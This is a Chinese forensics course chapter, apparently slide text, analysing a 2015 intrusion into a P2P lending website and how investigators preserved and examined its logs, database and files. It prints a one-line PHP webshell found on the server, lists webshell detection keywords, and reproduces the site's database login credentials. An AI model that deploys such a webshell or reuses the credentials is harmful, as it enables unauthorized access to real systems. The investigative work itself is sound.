




版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
12.电子数据取证综合案例分析目录CONTENTS12.1案情介绍12.2案件的证据固定12.3数据分析过程12.4分析漏洞原因12.5调查结果与评价12.1案情介绍12.1.1主要案情2015年6月9日,P2P金融网站“”网站管理人员接到用户投诉,称其钱包中资金不翼而飞。管理员开始误以为是系统错误,经尝试排查后未发现明显异常,在排查过程中又接到多名用户投诉,同样声称其帐户中资金不知去向。管理员此刻才意识到系统可能被黑客入侵,于是立即停止运行服务器中Web服务和数据库服务,向警方报案以确定攻击者、攻击方法、攻击来源、攻击时间等。12.1.2取证要求委托方提取委托要求为:1.对被攻击服务器中的网站、数据库、日志等涉案相关数据进行证据固定;2.对上述证据固定结果进行分析,提取攻击者IP、攻击时间、攻击方法;3.提取攻击者所使用的银行卡、身份证等信息并分析攻击者转移资金的方法;4.对攻击者的攻击行为进行分析,找出攻击者所使用的漏洞,并分析漏洞形成原因。12.1.3主要难点问题近年来随着司法机关对黑客类案件打击力度的不断增强,恶意的网站攻击者对于打击手段也有所了解,具有了一定的反侦察意识。黑客在作案时,经常使用代理服务器进行过渡,以隐藏自己的真实IP地址。同时,在进行这类金融类犯罪时,会有一个长期潜伏和准备的过程,尽可能地隐藏自己在被入侵系统中的存在感、减少对系统环境的破坏或修改,从而避免引起系统管理员的察觉。这种作案方式往往会导致更大的损失,与以破坏系统为目的的入侵类案件中的手法有明显的区别。案件的证据固定12.212.2案件的证据固定根据委托人的要求、案件类型及与委托方详细的沟通后,初步达成以下取证与分析步骤:1.了解被入侵服务器的相关参数及运行状态;2.根据服务器的具体状况,选择合适的证据固定工具,制定证据固定计划;3.根据证据固定计划对被入侵服务器中所有涉案数据进行证据固定操作;4.对证据固定结果进行分析,提取入侵时间、地点、IP、工具、方法等相关信息;5.出具应急响应报告、计算机司法鉴定报告,对可能存在的系统漏洞提供合理修补建议。12.2.1了解被入侵服务器相关参数及运行状态在正式取证之前,需要对目标服务器进行一个大概的了解,并根据目标服务器的情况制定证据固定计划。被入侵服务器情况简介如下:1.被入侵服务器属于阿里云服务器,委托方提供了该服务器的IP地址、连接用户名及密码;2.被入侵服务器操作系统运行的是Linux,可直接使用“ssh”客户端远程登录;3.被入侵服务器Web服务使用的是Apache,使用的编程语言为PHP;4.被入侵服务器后端数据库使用的是MySql。由于被入侵服务器运行于阿里云服务器中,调查员无法物理接触检材服务器,所以证据固定工作需要通过远程勘验的形式进行。12.2.2制定证据固定计划对服务器的远程证据固定大致包括三个步骤:1.收集被入侵服务器的系统信息,包括进程、端口、历史命令执行记录、系统日志、磁盘、内存等信息。2.提取被入侵服务器Web应用配置和相关数据3.提取被入侵服务器数据库配置和相关数据12.2.3选择证据固定工具本案涉及到Linux服务器的远程数据固定,选择的工具包括:屏幕录像工具、远程SSH连接工具、远程文件下载工具、服务器系统信息提取工具等。对Linux系统信息提取选择使用系统提供的工具,完成对系统基本信息、进程、网络、端口等信息的提取,包括登录日志提取工具“last”,网络配置管理工具“ifconfig”,网络数据抓包工具“tcpdump”,网络端口信息工具“netstat”等。此外用到的工具还包括:1.屏幕录像软件---FSCapture,屏幕录像的好处是交互性更好、后续屏幕展示的清晰度要远高于数码摄像机。2.远程连接工具或软件---putty,是Windows桌面环境中连接类Linux终端服务的首选工具之一。3.远程文件下载工具---WinScp,可通过SSH协议直接操作远程Linux服务器中文件,进行上传、下载、增加、删除等操作,使用方便、直观、易操作。4.MySql数据库的固定---MySqldump,MySql数据库系统中自带的数据库转储工具。12.2.4连接到远程服务器此处选择的连接工具是“putty”,从网址“/”下载Windows桌面程序安装包,安装包MD5值为“983d8c71dd6eeed78012112b85734318”。运行安装完成的“putty”工具,弹出窗口如下:12.2.4连接到远程服务器设置远程服务器的IP地址、连接用户名及对应用的密码。选择“登录”按钮。启动屏幕录像软件“FFCapture”,选择“录制整个屏幕”按钮,见下图:12.2.4连接到远程服务器远程固定正式开始前需进行时间校准,启动浏览器程序访问网络授时网站“/”,该网站中会动态显示当前北京标准时间,见下图:12.2.5固定所有用户历史执行记录Linux系统有一个特性,默认会将用户在终端环境下执行过的命令记录全部存储在该用户所对应的用户数据目录的特定文件中,例如,“.bash_history”文件。该文件是一个纯文本文件,可使用文本编辑器工具打开、查找、分析。文件名的第1个字符“.”表明这是一个默认被系统隐藏的特殊文件,使用ls命令列出目录中所有文件时,默认是不会列出使用“.”开头的文件,除非使用是“-a”选项(该选项的作用是列出指定目录中所有文件及目录、包括默认不显示的系统文件、特殊文件)。“.bash_history”可以通过“$HISTSIZE”环境变量设置保存记录数的大小,根据Linux发行版的不同其大小设置不一样,其中CentOS的默认设置是1000条记录,所以在超过1000条记录时就会发生记录被覆盖的情况。通常情况下,调查员在执行证据固定过程中会优先固定那些易失性数据、可能存在被修改可能的数据。远程服务器一直处于运行状态,即系统处于不断变化的过程中,而且对证据的固定过程本身也会引起服务器的状态变化和内存数据的修改。在RFC3227中,列出了各种动态信息的级别以及获取的优先级。12.2.5固定所有用户历史执行记录在本案例中,就应该在减少对原始数据的“破坏”的情况下,优先获取服务器中可能会变化的动态数据,同时做好数据的完整性校验,调查员在现场的所有操作要经得起后续的证据审核。如果只是提取当前登录的“root”用户的命令行历史记录,可以直接执行“history>bash_history.log”或“cp~/.bash_historybash_history.log”,将当前用户的命令历史记录数据保存到“bash_history.log”文件中。如果要查找并提取其它用户的命令执行历史记录,最快速有效的办法是执行指令“find/-name“.bash_history”,查找到所有当前系统中用户的“.bash_history”文件,并使用“cp”指令一一将上述找到的“.bash_history”文件保存到指定目录中。12.2.6固定系统时间对像系统的时间可能会与当前位置的标准时间或存在一定误差,尤其是那些比较老的系统、或者管理员没有开启“时间同步”功能的系统。几分钟、几秒钟的误差就可能会给后续的调查分析带来很多的麻烦,所以调查员在开始就应该注意记录和校准这个误差。在固定开始时记录“固定开始时间”,在固定结束时记录“固定结束时间”是一个好习惯。笔者在实际案例中一般都会在固定开始时执行语句“date>date_start.log”将当前系统时间直接保存到“date_start.log”文件中,在固定结束后执行“date>date_end.log”将固定结束时间保存至“data_end.log”文件中。这样在后期撰写证据固定与分析报告时会直接引用这两个时间值,省却了记忆混乱的麻烦。在固定系统时间的同时需要记录当前时区的标准时间与服务器时间的误差并记录在文件或某个日志中。提取当前时区标准时间一般有两个办法,一个是直接访问授时服务器域名“/”,如果没有条件直接访问上述授时服务器,二是通过手机拔打时间查询电话号码“12117”,通过语音方式获取当前时区比较精准的时间。并将上述获取结果与服务器时间进行比较并记录下两者之前误差值。12.2.7固定进程信息系统进程信息属于“易失”信息的一种,在“黑客入侵”类案件的分析中尤其重要。Linux系统中提取进程信息可通过“ps”命令完成。执行指令“psaux>ps.log”,可将当前系统启动的进程列表信息保存到“ps.log”文件中。见下图:图12-412.2.7固定进程信息系统进程信息属于“易失”信息的一种,在“黑客入侵”类案件的分析中尤其重要。Linux系统中提取进程信息可通过“ps”命令完成。执行指令“psaux>ps.log”,可将当前系统启动的进程列表信息保存到“ps.log”文件中。这种做法有一个弊端,即获取出的进程列表信息只是包含当前系统中依然存活着的进程,而对于那些已经执行退出的进程则毫无办法。此时,可以获取系统的整个内存镜像,后续对内存镜像进行分析可能会找到“消失”的进程信息。12.2.8固定网络连接信息网络连接信息属于“易失性”信息的一种,对于“黑客入侵”类案件同样重要。在Linux系统中可通过内置命令“netstat”提取网络连接信息,需要注意的是在Centos7.0后的版本中netstat被ss命令所取代,不过两者使用的参数是类似的。执行指令“netstat-apn>netstat.log”可将当前系统中进程正在连接或监听的网络端口列表保存到“netstat.log”文件中,见下图:图12-512.2.8固定网络连接信息网络连接信息属于“易失性”信息的一种,对于“黑客入侵”类案件同样重要。在Linux系统中可通过内置命令“netstat”提取网络连接信息,需要注意的是在Centos7.0后的版本中netstat被ss命令所取代,不过两者使用的参数是类似的。执行指令“netstat-apn>netstat.log”可将当前系统中进程正在连接或监听的网络端口列表保存到“netstat.log”文件中。这种做法也有与“提取进程信息”同样的一个弊端,即这种指令获取出的进程端口列表信息只是指当前执行指令状态时系统内存中依然存活着的进程端口列表。但对于那些处于定时还没有执行,或定期执行的可疑程序是不会被“抓到”的。一个简便有效的办法是在执行调查过程中多次调用“netstat-apn>netstat.log”这个指令,保存不同时间段的进程端口列表。12.2.9固定磁盘信息提取目标系统中磁盘信息可帮助调查员快速了解目标系统中数据量,同时对系统数据的大致分布做出分析工作量预估和数据分布的初步推测,哪个分区保存的是应用数据,哪个分区保存的是数据库,哪个分区保存的日志等。在Linux系统中可通过执行指令“df-h>df.log”提取系统中可使用的分区信息。见下图:图12-612.2.9固定磁盘信息执行指令“fdisk-l>fdisk.log”可提取当前系统中磁盘、各分区大小、开始扇区、结束扇区等信息。见下图:图12-712.2.9固定磁盘信息执行指令“mount>mount.log”可提取系统中文件系统加载点信息,见下图:图12-812.2.10固定网卡信息Linux系统中可通过执行指令“ifconfig>ifconfig.log”提取目标系统的网卡、IP地址绑定等信息。在一些案例中存在一台服务器绑定多个IP地址的情况,使用多个IP地址主要用于分流或防止某个IP出现故障导致服务器无法提供正常服务,而备用IP地址可继续提供服务。多个IP也可以将不同类型的数据发送到不同的通道,达到有效区别不同类型数据、提高网络性能的目的。12.2.11固定用户信息Linux系统中用户信息、登录密码相关的数据保存在“/etc/passwd”和“/etc/shadow”文件中,这两个文件都是文本文件。其中,shadow文件内容结构见下图:图12-912.2.11固定用户信息该文件中第1列保存用户ID,第2列是加密后的密码:1.该列留空,即"::",表示该用户没有密码。2.该列为"!"或"*",表示该用户无法使用密码登录,但是其他的登录方式是不受限制的,如ssh公钥认证的方式,su的方式。3.该列以"!"或"!!"开头,则表示该用户被锁定。4.该列为"!!",即":!!:",表示该用户从来没设置过密码。5.如果格式为"$id$salt$hashed",则表示该用户设置了登录密码。其中$id$的id表示密码的加密算法,$1$表示使用MD5算法,$2a$表示使用Blowfish算法,"$2y$"是另一算法长度的Blowfish,"$5$"表示SHA-256算法,而"$6$"表示SHA-512算法。12.2.12固定用户登录日志信息用户登录日志在“黑客类案件”中有着举足轻重的作用。Linux系统对于用户“成功”、“失败”登录状态的日志分别使用了不同的文件来保存。“成功”登录日志记录保存在“/var/log/wtmp”文件中,该文件属于二进制结构特殊文件,文件头及部分内容见下图:图12-1012.2.12固定用户登录日志信息“wtmp”文件中的内容可通过执行“last”指令查看,在目标系统中执行“last>last.log”,可以将系统中用户成功登录的日志保存到“last.log”文件中,部分登录记录见下图:图12-1112.2.12固定用户登录日志信息“/var/log/wtmp”文件中同时记录了用户的登录IP、登录时间、登录时长等信息。这些信息对黑客行踪的分析溯源有着非比寻常的重要性。“last”命令可以通过“-f”参数分析其他文件中的登录信息,例如:“last-fwtmp1”。“失败”登录日志保存在“/var/log/btmp”文件中,该文件与“/var/log/wtmp”文件拥有相同的结构。如果发现这个“btmp”文件过大(相对wtmp文件而言),就应该意识到服务器可能受到过暴力破解登录密码的攻击。12.2.13固定“apache”应用数据在Linux系统中,Apache是最常用的Web服务器之一,经常以“httpd”服务的形式运行。通过“servicehttpdstart”或“servicehttpdstop”命令可以启动或关闭服务。默认情况下Apache安装路径为“/usr/”,Apache服务配置文件默认保存在“/etc/httpd/conf”目录中。配置文件中“DocumentRoot”参数中定义了Web目录的根路径,见下图:图12-12目标网站的日志保存在logs/jiudai-access.log文件中12.2.13固定“apache”应用数据上图中路径“DocumentRoot”属性指明该域名“”Web目录在“/data/www”。执行指令“tarczvfwww.tar.gz/data/www”将该目录中所有文件打包保存到“www.tar.gz”文件中。图12-12目标网站的日志保存在logs/jiudai-access.log文件中12.2.14固定Apache日志Apache服务配置文件“http.conf”中,“LogPath”属性定义了Web服务器访问日志默认保存路径,该日志文件路径也可以由虚拟主机配置文件中CustomLog参数指定,见下图:图12-1312.2.14固定Apache日志Apache服务配置文件“http.conf”中,“LogPath”属性定义了Web服务器访问日志默认保存路径,该日志文件路径也可以由虚拟主机配置文件中CustomLog参数指定。路径“logs”中保存所有Web应用的用户访问日志,这些日志文件的文件名格式由配置文件中的参数“CustomLog”决定。在本案例中该参数为“logs/access_log%Y%m%d.log”,即日志文件每天生成一个,文件名的形式为“access_log”+“年”+“月”+“日”+“.log”。从该目录中提取日志文件共82个,总容量共2.3GB,日志开始日期为“2015-03-30”,日志结束日期为“2015-06-19”。12.2.15固定数据库在复杂的Web应用中,后端可能会通过数据库服务持久化保存应用数据。具体的数据库选择并不统一,在证据固定时期,调查员可以根据Web应用中的配置文件到找到数据库服务器的IP地址、用户名、密码等信息。在本案中,调查员通过分析Web应用中的数据库配置文件“dbconfig.php”,确认后台数据库为mysql,数据库服务器的IP地址为“localhost”,连接的用户名为“dw@h#53X#$”,连接密码为“re26~D5j@@”。配置文件中的参数见下图:图12-1412.2.15固定数据库对数据库的证据固定有多种方法可选:1、直接复制数据库存储文件;2、将数据库中所有表中的数据导出保存为“.csv”文件;3、将数据库中所有数据及表结构转储为“.sql”文件。这几种固定方式各有优缺点。直接复制数据库存储文件比较适用于用户量不大、读写操作不是特别频繁、可以短暂停止数据库服务的情形。这种证据固定方式,对数据库文件的同步性要求比较高,如果数据库没有被停止的情况下复制文件时数据库产生的写操作,可能导致数据库文件中部分数据不同步,后期搭建运行环境时会经常性的遇到检查环境与运行环境不一、数据库主库文件与日志文件不同步等无法还原的操作,所以这种方法虽然简单,对调查人员技术要求不高,但是并不推荐。12.2.15固定数据库执行指令“select*intooutfileusers.csvfieldsterminatedby‘,’linesterminatedby‘\r\n’fromusers”,可将数据库中的某个表保存为“.csv”文件。由于“.csv”文件中并不包含数据表字段的定义信息在数据表比较多的情况下会对调查员的后期分析工作会造成一定的困扰。利用数据库管理工具将数据库内容转储为“.sql”格式的文件,对后续的分析工作更友好。“.sql”是纯文本文件,方便压缩、搜索、导入、导出、兼容性较好。在mysql数据库中使用mysqldump程序对数据库中所有数据及数据库结构进行证据固定,执行指令“mysqldump-udw@h#53X#$-Pre26~D5j@@jiudai>jiudai.sql”,可以将数据库jiudai中所有数据表、函数、事件等对像全部被保存到“jiudai.sql”文件中。12.2.16固定数据库日志MySQL数据库中常用的日志有Binlog、generallog、慢查询日志等几种类型。Binlog日志记录了数据库上的所有改变,并以二进制的形式保存在磁盘中,通过该文件可将数据库任意恢复到某个时间点。Binlog日志文件默认保存在数据库的数据目录中,在对数据安全性要求较高的业务应用中,开启Binlog日志。通过登录MySQL数据库并执行“showvariableslike‘Binlog’”查询该日志功能是否开启。可以通过执行“setglobalvariablesBinlog=on”语句开启Binlog日志功能,通过执行“setglobalvariablesBinlog=off”关闭Binlog日志功能。generallog保存所有数据库中执行的sql语句,包括对数据库的查询、增加、修改、删除等操作。这种记录对数据库的审核、调优以及取证分析会比较有用,但是开启generallog对数据库的性能影响会比较大。generallog查询日志支持将日志记录写入文件,也支持将日志记录写入数据库表12.2.16固定数据库日志MySQL的慢查询日志是用来记录数据库运行中响应时间超过阀值的语句,具体是指运行时间超过“long_query_time”值的SQL语句。long_query_time的默认值为10,意思是运行10秒以上的语句。默认情况下,MySQL数据库并不启动慢查询日志,需要手动来设置这个参数。如果不是调优需要的话,一般不建议开启这个服务,因为慢查询日志或多或少会影响数据库的性能。慢查询日志支持将日志记录写入文件,也支持将日志记录写入数据库表。本案例中,检材服务器中的MySQL数据库启用了Binlog日志,要对Binlo日志进行固定,需要将数据目录中所有Binlog文件打包即可“tarcxvfbin.log.tar.gz./data/Binlog*.*”。12.3数据分析过程12.3.1进程分析系统进程列表中列出了当前系统所有进程的信息,包括进程ID、父进程ID、可执行程序全路径、启动时间等信息。进程分析的分析目标是得到当前系统应用、服务等系统状况,还要分析当前进程列表中是否有一些不常见的、异常的进程,这里并没有什么工具可以辅助调查员来确认哪个进程是可疑进程,哪个进程具有异常操作,这个分析过程基本依赖调查员的经验。本案例中现场提取的进程列表部分截图如下:图12-1512.3.1进程分析对上述进程列表中主要进程做简单描述:/sbin/initd:该程序是系统中所有程序的父进程。这个进程的PID总是1,它负责启动组成Linux操作系统的其他进程。httpd:Apache服务的进程。mysqld:mysql数据库系统的后台服务进程。crond:crond是定期执行指定命令的守护进程,可以通过crontab进行设置。crontab是一个命令,常见于Unix和类Unix的操作系统之中,用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于“crontab”配置文件中,以供后续程序读取和执行。在Linux系统中定时任务一般可以分为3种:①at:适合仅执行一次就结束的调度命令,需要启动一个后端的atd服务。②Crontab:需要启动一个crond服务才行,crond服务通过crontab命令实现。③Anacron:无法周期性执行,只能以天为周期,但有个特点,在关机状态下未执行的任务,下次开机时可以补上执行。watchdog:由系统服务运营商提供的安全插件。ksoftirqd:系统软件中断处理线程,属于系统正常运行所必须的线程。从进程列表中所反应的状态看,检材服务器并不存在被入侵后植入的可疑进程。12.3.2分析网络连接从检材服务器中提取到的网络连接信息列表如下:图12-1612.3.2分析网络连接从上述网络连接信息可以发现,系统中主要提供了Apache、MySQL数据库、sshd登录等服务,未发现异常的网络连接端口,未发现系统明显的主动连接外部服务器的异常流量。12.3.3分析启动项从检材中提取到的crontab启动程序列表为空,未发现异常启动进程项。12.3.4分析登录日志从检材中提取登录信息共102条,部分登录信息见下表:表12-112.3.4分析登录日志对上述列表中登录记录符合案发时间段的所有IP进行提取并去重,共涉及IP地址10个。上述10个IP地址,经与受害单位服务器管理人员核对,上述IP登录地址均属于公司维护人员常用IP,并未发现其它异常登录地址。12.3.5分析错误登录日志错误登录日志用于记录所有用户的未正确输入用户名、密码情况的。从该记录文件中提取错误登录日志共3389条。对所有错误登录日志进行汇总并统计,提取所有错误登录记录的IP地址,部分IP列表见下表:表12-212.3.5分析错误登录日志对所有尝试使用错误用户名及密码登录的IP地址去重并统计共提取到35个独立IP访问记录,见下表:上述错误登录日志表明有入侵者试图通过穷举用户名密码,爆破用户弱口令的方式进行入侵。使用上述错误登录IP地址作为关键词检测服务器正常登录日志中是否有来自上述IP地址的成功登录IP。经检测从检材服务器的成功登录日志中未检测出包含上述尝试密码破解的错误登录IP地址的成功登录记录。这表明虽然有黑客尝试入侵目标服务器,但由于目标服务器用户名、密码并不属于弱密码,所以黑客并没有成功的破解出正确的登录密码。表12-312.3.6分析Web在涉及服务器入侵的案件中,Web分析总是整个调查取证过程中的重头戏。对于一般的黑客来说,找一个Web漏洞所花费的精力、时间、成本要比挖出一个系统漏洞要容易的多。在笔者参与调查的大部分黑客入侵类案件很大一部分都是从Web漏洞或WebShell的查找开始。表12-212.3.6分析Web分析Web中是否存异常的WebShell文件,常用方法:1.通过安全软件快速扫描整个Web目录。通常来讲使用Web安全软件要比调查员手工分析或通过经验来查找可疑文件要更高效、简洁、适用性强、误报少。且这种方法不限于调查员的调查经验,对于初次涉及案件调查的调查员或对黑客调查类案件并不熟悉的调查员来说不能不说是一种“速效救心丸”。如果调查员比较深入了解了案件的前因后果,也可以通过关键词、时间排除法等快速定位可疑文件。比如管理员确定目标Web目录中的所有文件在最近1个月内根本没有更改过。那么可以通过文件的时间信息快速提取检材中最近1个月内被创建或修改过的可执行程序“find.-name“*.php”-a-ctime-30”,如果的确能找到1个月被修改或创建的.php,再通过分析目标.php文件的功能代码,确定该文件是否具有恶意或可疑功能。也可通过WebShell中常用的关键词直接搜索整个Web目录中所有文件。比如“execute”、“@eval($_GET”、“@system($_POST”、“assert($_REQUEST”、“file_get_contents”。可以直接使用grep指令搜索上述关键词。甚至可以结合文件的创建时间、修改时间信息进一步做更复杂的可疑文件搜索。表12-212.3.6分析Web在该案例中,笔者直接使用安全软件“D盾”对目标Web目录中所有文件进行了扫描。不负所望,直接从该目录中提取到了一个可疑文件“uploaddyp2p.php.bmp”,该文件扫描结果见下图:图12-1712.3.6分析Web该文件大小为2kb,md5值为“460133aa42302c0e78656266959e7057”。该文件部分代码内容见下图:图12-19图12-1812.3.6分析Web该文件中存在一句话木马的特征代码“<?php@assert(base64_decode($_POST[h3len]))?>”。Tips:上述代码中主要功能代码“@assert”(断言)的主要作用是:编写代码时,我们总是会做出一些假设,断言就是用于在代码中捕捉这些假设,可以将断言看作是异常处理的一种高级形式。程序员断言在程序中的某个特定点该表达式值为真。如果该表达式为假,就中断操作。即要决断该断言的真假,必须要执行“@assert”后的代码“base64_decode”函数解码后的程序。该程序的内容又来源于客户端提交的参数“h3len”中的内容。即如果客户端程序通过参数“h3len”提交了一些影响检材服务器安全性、稳定性的指令,该程序也不做任何检查的将客户端所提交程序完全执行。可以在任何时候启用和禁用断言验证,因此可以在测试时启用断言,而在部署时禁用断言。同样,程序投入运行后,最终用户在遇到问题时可以重新起用断言。有趣的是该文件的扩展名为.bmp,即使该文件中存在可疑的一句话木马代码,但因为该文件的扩展名为.bmp属于不可执行文件。当客户端浏览器访问该文件时,Web服务器不会解释该文件中的任何代码而仅仅把该文件所有内容推送到客户端,由客户端浏览器去展示整个文件的内容。12.3.6分析Web虽然该木马文件无法给分析员提供直接帮助,确认并定位可疑黑客的位置,但却可以通过该文件的属性信息进行扩展分析:1.以我们提取到的文件的创建、修改时间作为一个坐标来查找那个时间前后的可疑文件。2.虽然该文件无法执行,但可以通过提取到的Web访问日志分析是哪个用户上传了该文件或第1个成功访问该文件的用户最有为可疑。在该案例中调查员充分利用了上述可疑文件的时间特征,执行指令“find.Typef-a-name“*.php”-aneweruploadyp2p.php.bmp”以该图片文件的创建时间为线索,找到了在该图片文件创建成功后唯一的扩展名为.php的可执行文件“adminer.php”。12.3.6分析Web该文件部分内容见下图:图12-2012.3.6分析Web由于该程序代码太长且存在代码混淆行为,无法短时间内容分析清楚该程序的全部功能。对于程序的功能分析一般可以分为静态分析、动态分析两方式。阅读源码或逆向后的代码属于静态分析。对于动态分析可以将目标程序运行起来通过该程序的行为来判断该程序的功能。在鉴定计算机中安装.php运行环境并将该程序文件“adminer.php”复制到鉴定计算机中所安装的apache的Web目录“c:\xampp\apache\htdoc”,并通过web浏览器直接访问该页面的url地址“/adminer.php”,见下图:图12-2112.3.6分析Web从上图中的选择参数的内容来看,该程序的功能属于数据库管理类的程序。需要提供目标服务器的登录IP地址、用户名、密码信息才可以登录。这里调查员进行测试时使用鉴定计算机中临时搭建的mysql数据库用户名“root”、密码“root”直接成功登录进了鉴定计算机中的mysql数据库并可对鉴定计算机中mysql数据库的内容进行直接管理(增加、修改、删除、查询等),部分功能见下图:图12-2212.3.6分析Web综上所述,程序文件“adminer.php”是一个完全具备数据库操作功能的管理软件。该软件属于开源、免费的数据数据库管理程序。该程序本身并不具备任何恶意功能。所以即使使用安全软件对该程序进行“安全检测”也不会检测出其恶意行为,因为其本身仅仅是作为数据库管理程序在使用。从被入侵服务器的系统管理员处得知该程序不属于管理人员自己主动在服务器中使用的数据库管理软件,明显该程序是由“黑客”上传并使用。既然可以确认由黑客上传了该数据库管理软件,调查员的下一步操作就是分析该数据库管理软件对当前被入侵系统的影响、该软件在当前被入侵的系统中可以完成哪部分功能以及上传者、访问者都有哪些人进行了哪些访问、从哪里访问、什么时间进行了访问,访问是否成功,访问该程序的主要目的是什么?带着上述一系列的疑问,进行入下列更深一步的了解与分析。12.3.7分析Web日志本节中主要分析目标是对检材服务器中所提取到的82个web日志文件进行分析,并尝试从日志中回答上一小节所提出的几个问题:数据库管理程序“adminer.php”的上传者、访问者都有哪些人进行了哪些访问、从哪里访问、什么时间进行了访问,访问是否成功,访问该程序的主要目的是什么?部分日志文件列表见下图:图12-2312.3.7分析Web日志首先,我们第一个明确的目标是提取所有访问过数据库管理程序文件“adminer.php”文件的记录。对于纯关键词搜索的功能来说Linux系统中自带的grep指令可以完全满足要求。执行指令“grep-ai“adminer.php”access_log*”从上述所有日志文件中提取到访问“adminer.php”文件的记录共590条(将上述所有访问记录保存到adminer.php.log文件中),其中部分日志记录内容如下:图12-2412.3.7分析Web日志目标服务器所记录的web日志格式主要由下列几列组成:客户端访问IP地址、访问时间、访问所使用的方法及url地址、返回访问结果状态、返回的页面数据的大小、访问前来源url地址、客户端的浏览器型号、版本号等信息(从左至右)。从上述590条访问日志中提取到多个客户端信息为“compatible;MSIE6.0;WindowsNT5.1;Alibaba.Security.Heimdall.240968”即阿里云服务商的“Heimdall”扫描器的扫描记录。上述安全扫描器的扫描记录对于调查员的分析是无意义的,所以需要对提取到的全部590条访问adminer.php文件的记录中排除所有来源于阿里云“Heimdall”扫描器的扫描记录,执行下列指令可达到排除扫描器扫描结果的操作“grep-v'Alibaba'../adminer.php.log>../adminer_exclude_Alibaba.log”。排除阿里安全扫描器后共提取到319条访问“adminer.php”记录。12.3.7分析Web日志上述319部分日志内容见:access_log-20150601:7--[31/May/2015:17:16:32+0800]"GET/modules/admin/adminer.php?username=cjd%7E777%5E&db=changjiudai&edit=dw_account_cash&where%5Bid%5D=13238HTTP/1.1"2004583"/modules/admin/adminer.php?username=cjd%7E777%5E&db=changjiudai&sql=""Mozilla/5.0(WindowsNT6.1;WOW64;rv:38.0)Gecko/20100101Firefox/38.0"对于上一条日志的解析如下:该条日志的访问时间为“31/May/2015:17:16:32+0800”,该条日志访问者的IP地址为“7”,该日志访问的url地址为“/modules/admin/adminer.php?username=cjd%7E777%5E&db=changjiudai&edit=dw_account_cash&where%5Bid%5D=13238”,该条日志使用的访问方法为“GET”,该页面的访问返回状态是“200”表明访问正常。12.3.7分析Web日志对于该条日志中客户端所访问的url地址“/modules/admin/adminer.php?username=cjd%7E777%5E&db=changjiudai&edit=dw_account_cash&where%5Bid%5D=13238”该如何理解呢?可以认为该url地址由以下几个部分组成,第1个部分是访问的网页是“/modules/admin/adminer.php”,在该网页后由问号“?”将目标页面与访问时传递给该页面的参数进行区分。问号“?”后的所有数据由参数及该参数对应的值组成。等号前“=”表示提交给目标页面的参数名,等号“=”后表示该参数所对应的值。将该url地址直接在web浏览器中打开,看一下该url地址对应的返回结果,省却了静态分析代码的过程。12.3.7分析Web日志该url地址对应的返回结果见下图:图12-2512.3.7分析Web日志从上图可以得知,访问该url地址对应编辑数据库“changjiudai”中的表“dw_account_cash”中的id号为“13238”的用户帐户信息。该表中表名对应url地址中的参数“edit”,用户“id”对应url地址中的参数“where[id]”的值。从上述日志分析结果可知,通过访问文件“adminer.php”可以完全操控被入侵服务器中的MySQL数据库中的数据。因此通过分析Web日志中“adminer.php”的访问记录可以分析出入侵者对检材服务器的数据库进行过哪些操作。12.3.7分析Web日志执行指令“grep-E-I-o“user_id%5d=[0-9]{1,8}adminer.php.exclude.alibaba.log”从390条“adminer.php”文件的访问记录中提取到涉及4个用户ID的修改记录:1392,1679,2613,6248,见下图:图12-2612.3.7分析Web日志执行指令“cut-d:-f2adminer.php.exclude.alibaba.log|cut-d''-f1|sort|uniq-c|sort-r”对上述所有390条访问记录中的IP地址进行提取并统计各个IP地址的访问次数,见下图:图12-2712.3.7分析Web日志通过网络分析上述所有访问过“adminer.php”文件的IP地址归属地,见下图:图12-2812.3.7分析Web日志从上述查询结果来看,大部分归属地处于境外,推测入侵者使用代理服务器进行攻击的可能性比较大。12.3.7分析Web日志上述IP地址段中有两个IP地址处于上海市的地址范围。对上述两个IP地址的访问记录进行提取,共提取到3个IP地址的访问记录:access_log-20150601:14--[31/May/2015:21:50:20+0800]"GET/MODULES/ADMIN/ADMINER.PHP?USERNAME=CJD~777^&DB=CHANGJIUDAI&SQL=HTTP/1.1"404549"-""Mozilla/5.0(WindowsNT6.1;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/31.0.1650.63Safari/537.36“access_log-20150601:14--[31/May/2015:21:50:20+0800]"GET/404/image/background.pngHTTP/1.1"20074669"/MODULES/ADMIN/ADMINER.PHP?USERNAME=CJD~777^&DB=CHANGJIUDAI&SQL=""Mozilla/5.0(WindowsNT6.1;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/31.0.1650.63Safari/537.36“access_log-20150603:65--[02/Jun/2015:13:41:28+0800]"GET/themes/default/images/index/logoshow.jpgHTTP/1.1"2005397"http://localhost/index.php/adminer.php""Mozilla/5.0(WindowsNT6.2;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/31.0.1650.63Safari/537.36"12.3.7分析Web日志根据与管理员的沟通上述3条访问记录属于服务器管理员发现服务器异常后的访问记录,其中第1条访问记录的返回状态代码为404表明该记录产生时该文件已不存。另外两条访问记录分析其访问代码未发现任何对服务器数据的实质性破坏,可以排除上述两个IP地址的可疑。12.3.7分析Web日志余下10个IP地址的访问记录,见下图:图12-2912.3.7分析Web日志以上述10个IP地址作为关键词对所有web日志进行搜索,提取上述10个IP地址的所有访问记录“find./log/-typef|xargs-I{}grep-a-i-fadminer_uniq_ip.txt{}>adminer_uniq_ip_all_.log”。从上述所有web访问记录中提取10个入侵者IP的所有访问记录共1008条,共245KB,将上述所有访问记录保存到“adminer_uniq_ip_all_.log”文件中。从上述提取到的1008条访问记录中分析所有上述访问记录的时间信息如下图:图12-3012.3.7分析Web日志上述分析结果表明入侵者对服务器中的数据进行修改的时间段集中在“2015年3月30日”、“2015年4月1日”、“2015年4月2日”、“2015年5月31日”这4天。下面我们对前面的分析结果做一个阶段性的总结:1.检材服务器的web目录中存在一个可以完全操控数据库能力的文件“adminer.php”,该文件并非由服务器管理员上传,推测其由入侵者上传并使用。2.检材“adminer.php”具备完全操控mysql数据库的能力,入侵者通过该文件可以直接修改服务器中用户信息:身份证号、银行卡号、提取金额、帐户余额等任意数据。3.共提取到4条用户数据操作记录。4.共提取10个可疑IP地址全部位于日本、香港,猜测其可能是VPN。5.入侵者对服务器中的数据进行修改的时间为“2015年3月30日”、“2015年4月1日”、“2015年4月2日”、“2015年5月31日”。12.3.8分析数据库根据上一小节中提取到的4个存在被修改用户信息的用户id,在在数据库中执行指令“selecta.user_id,a.username,a.card_id,a.realname,b.account,b.branch,d.total,d.use_money,d.no_use_moneyfromdw_userasaLEFTJO